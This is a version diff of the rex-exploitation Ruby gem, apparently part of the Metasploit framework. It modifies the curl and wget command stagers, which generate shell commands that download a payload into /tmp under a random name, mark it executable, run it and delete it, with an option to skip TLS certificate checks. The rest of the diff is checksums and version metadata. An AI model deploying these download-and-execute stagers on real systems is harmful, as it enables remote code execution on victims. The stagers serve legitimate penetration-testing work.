rex-exploitation 0.1.6 → 0.1.7

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA1:
-  metadata.gz: 80afdc8e550167ae91e8e08edd84a2740556cfba
-  data.tar.gz: 5ddda4d0ea91af79b9847b1f1d36a2b8c3c61d8b
+  metadata.gz: a278a592a33384281c661b167d343a70bdefb42f
+  data.tar.gz: ad75fa0960a0df1c1ba1cc02f1625897f743a846
 SHA512:
-  metadata.gz: e584e169273b66bd8ed80828e6dd438dcd30e086cbc66ede2ae119ef3b8a13304ea7ef9db096bd717d033b4d636540e626bf81a58dc57855b0aa02ed8b6aefa6
-  data.tar.gz: 9c21de05b924fda0a016019aaf67a460395c1601ad0dbee116ebaf670aad72e2c2e958e4617f29cb35b1a24d9d2fb49e6b7a8101f130b0fb6a7e97ccc50368da
+  metadata.gz: efd50974655d355761bd0ea5a362f8e5dd8b976972f69df551c81cf963c79cb9b3d4f40b40a8c277beb30238ea2080238b0ceca2a66e54650eca2c8f04fe03ef
+  data.tar.gz: b02158b54940126c38b0394d6c73679fefbfa5034e215b0388e5862cbdc8ebbd5ca676fb6af7f9be3e2abe953dd6ce99d6a5658af95f7ebbb989d148ff8c6f92

data/lib/rex/exploitation/cmdstager/curl.rb

@@ -12,10 +12,15 @@ class Rex::Exploitation::CmdStagerCurl < Rex::Exploitation::CmdStagerBase
     end
 
     opts[:temp] ||= '/tmp'
-    payload_file  = opts[:payload_uri].split('/').last
-    payload_path  = opts[:temp] + '/' + payload_file
+    payload_file  = Rex::Text.rand_text_alpha(8)
+    payload_path  = "#{opts[:temp]}/#{payload_file}"
+
+    if opts[:ssl]
+      cmds << "curl -ko #{payload_path} #{opts[:payload_uri]}"
+    else
+      cmds << "curl -o #{payload_path} #{opts[:payload_uri]}"
+    end
 
-    cmds << "curl -ko #{payload_path} #{opts[:payload_uri]}"
     cmds << "chmod +x #{payload_path}"
     cmds << payload_path
     cmds << "rm -f #{payload_path}" unless opts[:nodelete]

data/lib/rex/exploitation/cmdstager/wget.rb

@@ -12,10 +12,16 @@ class Rex::Exploitation::CmdStagerWget < Rex::Exploitation::CmdStagerBase
     end
 
     opts[:temp] ||= '/tmp'
-    payload_file  = opts[:payload_uri].split('/').last
-    payload_path  = opts[:temp] + '/' + payload_file
+    payload_file  = Rex::Text.rand_text_alpha(8)
+    payload_path  = "#{opts[:temp]}/#{payload_file}"
+    no_check_cert = '--no-check-certificate'
+
+    if opts[:ssl]
+      cmds << "wget -O #{payload_path} #{no_check_cert} #{opts[:payload_uri]}"
+    else
+      cmds << "wget -O #{payload_path} #{opts[:payload_uri]}"
+    end
 
-    cmds << "wget -P #{opts[:temp]} #{opts[:payload_uri]}"
     cmds << "chmod +x #{payload_path}"
     cmds << payload_path
     cmds << "rm -f #{payload_path}" unless opts[:nodelete]

data/lib/rex/exploitation/version.rb

@@ -1,5 +1,5 @@
 module Rex
   module Exploitation
-    VERSION = "0.1.6"
+    VERSION = "0.1.7"
   end
 end

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: rex-exploitation
 version: !ruby/object:Gem::Version
-  version: 0.1.6
+  version: 0.1.7
 platform: ruby
 authors:
 - David Maloney
@@ -88,7 +88,7 @@ cert_chain:
   G+Hmcg1v810agasPdoydE0RTVZgEOOMoQ07qu7JFXVWZ9ZQpHT7qJATWL/b2csFG
   8mVuTXnyJOKRJA==
   -----END CERTIFICATE-----
-date: 2016-12-29 00:00:00.000000000 Z
+date: 2016-12-30 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: bundler